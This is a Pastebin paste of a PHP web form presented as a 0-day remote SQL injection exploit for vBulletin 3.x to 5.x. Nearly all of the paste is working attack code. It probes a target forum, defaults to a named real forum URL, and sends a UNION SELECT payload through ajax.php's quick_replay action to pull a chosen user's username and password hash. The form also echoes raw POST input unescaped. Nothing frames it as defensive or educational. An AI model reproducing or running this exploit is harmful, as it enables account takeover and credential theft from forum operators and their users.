Advertisement
Aluf

Remote SQL Injection PHP exploit-vBulletin

Jan 31st, 2015
352
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.07 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <style>
  5. body {background-color: black; font-family: Verdana;  font-size: 10pt; color: #d9d9d9; margin: 30px; 30px; auto; background-attachment: fixed; background-image: url('https://lh6.googleusercontent.com/-C-Zv0fYrOtU/UJgYzWMMUiI/AAo/3UyiI7kIcQo/s600/back4.jpg'); background-repeat: no-repeat; background-position: right bottom;}
  6. div  { margin: 30px; 30px; auto; }
  7.  
  8. </style>
  9. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  10. <title> vBulletin 3.x / 4.x  / 5.x remote SQL Injection PHP exploit [b][y] Cold z3ro </title>
  11. </head>
  12. <body>
  13.  
  14. <form method="post"/>
  15. <table width="100%" border="0">
  16. <tr>
  17. <td>target</td>
  18. <td><input type="text" value="<? if($_POST[host]) {echo $_POST[host]; }else{echo 'http://forum.dnevno.hr/';} ?>" name="host" size="70" />
  19. </td>
  20. </tr>
  21. <tr>
  22. <td>userid</td>
  23. <td><input type="text" value="<? if($_POST[uid]) {echo $_POST[uid]; }else{echo '1';} ?>" name="uid" size="6" /><input type="submit" name="exp" value="Exploit-it"/></td>
  24. </tr>
  25. </table>
  26. </form>
  27.  
  28. <div>
  29.  
  30. <?php
  31.  
  32. /**
  33. * @exploit  vBulletin 3.x/4.x/5.x ( quick_replay ) remote SQL Injection PHP exploit
  34. * @author  Cold z3ro
  35. * @site  http://www.hackteach.org , http://www.s3curi7y.com
  36. * @copyright   26-12-2012
  37. * @about it    Its depends on ajax.php file, and comments quick replay via ajax file if anabled.
  38. * @Note  This exploit coded for english language vBulletin forums,
  39. * @Note.  non english exploit will faild,you need to exploit it manually
  40. * @Note.  or to edit some variables depends on the fourm main language.
  41. * @Note.  Exploit takes time while executing.
  42. * @type  0day, danger  
  43. **/
  44.  
  45. set_time_limit(0);
  46. ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)');
  47.  
  48. function fetchinj( $string, $str, $end ){
  49. $string = " ".$string;
  50. $ini = strpos( $string,$str );
  51. if ($ini == 0) return "";
  52. $ini += strlen( $str );
  53. $len = strpos( $string,$end,$ini ) - $ini;
  54. return substr( $string,$ini,$len );
  55. }
  56.  
  57. function pagethis( $surl ){
  58. $ch = curl_init();
  59. curl_setopt ( $ch, CURLOPT_URL, $surl );
  60. curl_setopt ( $ch, CURLOPT_HEADER, 0 );
  61. ob_start();
  62. curl_exec ( $ch );
  63. curl_close ( $ch );
  64. $data = ob_get_contents();
  65. ob_end_clean();
  66. return $data;
  67. }
  68.  
  69. if ($_POST['exp']){
  70. $host = $_POST['host'];
  71. $uid = $_POST['uid'];
  72.  
  73. if( !eregi('http://', $host)){
  74. die('use "http://" in the link you moron');
  75. }else{
  76.  
  77. $back = substr($host,-1,1);
  78. if ($back !="/"){
  79. $lnk = "/ajax.php";
  80. }else{
  81. $lnk = "ajax.php";
  82. }
  83.  
  84. $lnk.= '?do=';
  85. $lnk.= 'quick_replay';
  86. $lnk.= "&t=";
  87.  
  88. # checking site requirement
  89. $link2check   = pagethis( $host.'showthread.php?t=210' );
  90. $_link2check  = pagethis( $host.'showthread.php?t=400' );
  91. $check1 = strstr( $link2check, 'You are not logged' );
  92. $check2 = strstr( $link2check, 'If you followed a valid link' );
  93. $check3 = strstr( $_link2check, 'If you followed a valid link' );
  94.  
  95. if( $check1 == true ){
  96. die('Exploit Faild: target need login authentication');
  97. }else if( $check2 == true and $check3 == true ){
  98.  
  99. # make the exploit exactly and much better
  100. # looking for 25 $_GET[t];
  101. for( $i=5; $i<30; $i++ ){
  102. $multicheck = pagethis( $host.'showthread.php?t='.$i.'' );
  103. $what2check = strstr( $multicheck, 'vBulletin Message' );
  104. $found  = array( $what2check );
  105. foreach ( $found as $value => $val ){
  106. if ( !$val[0] )
  107. break 2;
  108. }  
  109.  
  110. }
  111.  
  112. }
  113.  
  114. # Injecton SQL.
  115. $exp = '+union+select+1,2,3,';
  116. $exp.= 'concat(0x7a33726f31,username,0x0d0a,password,0x7a33726f32)';
  117. $exp.= ',5,6,username,8,9,10,11,12,13,14,15,16,17';
  118. $exp.= '+from+user+where+';
  119. $exp.= 'userid='.$uid.'--';
  120.  
  121. if ( $i ){
  122. $exp = $host.$lnk.$i.$exp;
  123. }else{
  124. $exp = $host.$lnk.'32'.$exp;
  125. }
  126.  
  127. $extinj = pagethis( $exp );
  128. $result = fetchinj( $extinj, 'z3ro1', 'z3ro2' );
  129. //print_r($result);
  130.  
  131. if ( $result[1] ){
  132. echo 'Exploit fineshed :<br><br>'.$result;
  133. }else{
  134. echo 'Exploit Faild';
  135. }
  136. }
  137. }
  138.  
  139. # Eof
  140.  
  141. ?>
  142. </div>
  143.  
  144. </body>
  145. </html>
  146.  
  147. # 1337day.com [2012-11-29]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement